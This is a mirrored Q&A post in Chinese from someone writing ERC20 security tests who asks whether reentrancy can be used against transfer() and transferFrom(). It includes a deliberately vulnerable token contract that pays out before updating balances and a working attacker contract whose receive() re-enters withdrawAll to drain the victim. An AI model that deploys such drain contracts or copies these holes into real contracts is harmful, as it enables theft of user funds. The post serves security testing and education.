Cryptanalysis

如何編寫一個對 ERC20 代幣 transfer() 和 transferFrom() 函式執行可重入呼叫的函式?

  • July 15, 2022

描述

我正在為ERC20令牌編寫安全測試。我在網上研究了重入攻擊,發現它主要是通過在惡意合約中使用fallback()orreceive()函式遞歸呼叫withdrawEthers()受害者合約的函式並最終耗盡所有儲存的資金來完成的。

現在,我的問題是:是否有可能編寫這樣一個可重入函式來執行對不安全ERC20.transfer()ERC20.transferFrom()函式的類似遞歸呼叫,或者事實上甚ERC721.transfer()至竊取令牌?

合約原始碼

下面是一個虛擬的不安全令牌和一個攻擊者合約供參考:

虛擬令牌.sol

//SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;

import "hardhat/console.sol";
import "@openzeppelin/contracts/utils/Address.sol";

contract DummyERC20 {
   using Address for address payable;

   string public constant NAME = "DummyToken";
   string public constant SYMBOL = "DMY";
   uint8 public constant decimals = 18;
   uint256 _totalSupply;

   struct Allowed {
       mapping (address => uint256) _allowed;
   }

   mapping (address => Allowed) allowed;
   mapping (address => uint256)  balances;

   event Transfer (address indexed _from, address indexed _to, uint256 _amount);
   event Approval (address indexed _owner, address indexed _spender, uint256 _amount);
   event TransferFrom (address indexed _spender, address indexed _from, address indexed _to, uint256 _amount);
   event Deposit (address indexed _caller, uint256 _amount);
   event Withdraw (address indexed _caller, uint256 _amount);

   function totalSupply () external view returns (uint256) {
       return _totalSupply;
   }

   function balanceOf (address _of) external view returns (uint256) {
       require (_of != address(0), "DummyToken: Cannot compute balance of null address");
       return balances[_of];
   }

   function deposit () external payable {
       balances[msg.sender] += msg.value;
       _totalSupply += msg.value;
       emit Deposit(msg.sender, msg.value);
   }

   function withdraw (uint256 _amount) external {
       require (_amount <= balances[msg.sender], "DummyToken: Not enough balance");
       payable(msg.sender).sendValue(_amount);
       balances[msg.sender] -= _amount;
       _totalSupply -= _amount;
       emit Withdraw(msg.sender, _amount);
   }

   function withdrawAll () external {
       require (balances[msg.sender] > 0, "DummyToken: Not enough balance");
       payable(msg.sender).sendValue(balances[msg.sender]);

       // console.log("DummyToken contract balance: ", contractBalance());
       // console.log("Caller Balance: ", balances[msg.sender]);

       balances[msg.sender] = 0;
       _totalSupply -= balances[msg.sender];
       emit Withdraw(msg.sender, balances[msg.sender]);
   }

   function transfer (address _to, uint256 _amount) external {
       require (_amount < balances[msg.sender], "DummyToken: Not enough balance");
       require (_to != address(0), "DummyToken: Cannot transfer tokens to null address");
       balances[_to] += _amount;
       balances[msg.sender] -= _amount;
       emit Transfer(msg.sender, _to, _amount);
   }

   function approve (address _spender, uint256 _amount) external {
       require(_spender != address(0), "DummyToken: Spender cannot be null address");
       allowed[msg.sender]._allowed[_spender] = _amount;
       emit Approval(msg.sender, _spender, _amount);
   }

   function allowance (address _owner, address _spender) external view returns (uint256) {
       require (_owner != address(0) && _spender != address(0), "DummyToken: Owner or spender cannot be null address");
       return allowed[msg.sender]._allowed[_spender];
   }

   function transferFrom (address _from, address _to, uint256 _amount) external {
       require (_from != address(0) && _to != address(0), "DummyToken: From or to addresses cannot be null address");
       require (_amount <= allowed[_from]._allowed[msg.sender], "DummyToken: Spender does not have enough allowance");
       require (_amount <= balances[_from], "DummyToken: From address does not have enough balance");
       balances[_to] += _amount;
       balances[_from] -= _amount;
       allowed[_from]._allowed[msg.sender] -= _amount;
       emit TransferFrom(msg.sender, _from, _to, _amount);
   }

   function contractBalance () public view returns (uint256) {
       return address(this).balance;
   }
}

虛擬攻擊者.sol

//SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;

import "hardhat/console.sol";
import "./DummyToken.sol";

contract DummyAttacker {
   DummyERC20 public immutable victim;
   address public owner;

   constructor (address _victim) {
       victim = DummyERC20(_victim);
       owner = msg.sender;
   }

   function deposit () external payable {
       require (msg.sender == owner);
       victim.deposit{value: msg.value}();
   }

   function withdraw () external {
       require (msg.sender == owner);
       victim.withdrawAll();
   }

   function attack () external payable {
       require (msg.sender == owner);
       victim.withdrawAll();
   }

   receive () external payable {
       if (victim.contractBalance() > 0) {
           console.log("Reentering");
           victim.withdrawAll();
       } else {
           console.log("Attack success!!! Victim account drained.");
       }
   }

   function withdrawSpoils () external {
       require (msg.sender == owner);
       payable(owner).transfer(address(this).balance);
   }

   function getBalance () external view returns (uint256, uint256) {
       return (address(this).balance, address(victim).balance);
   }
}

引用自:https://crypto.stackexchange.com/questions/101002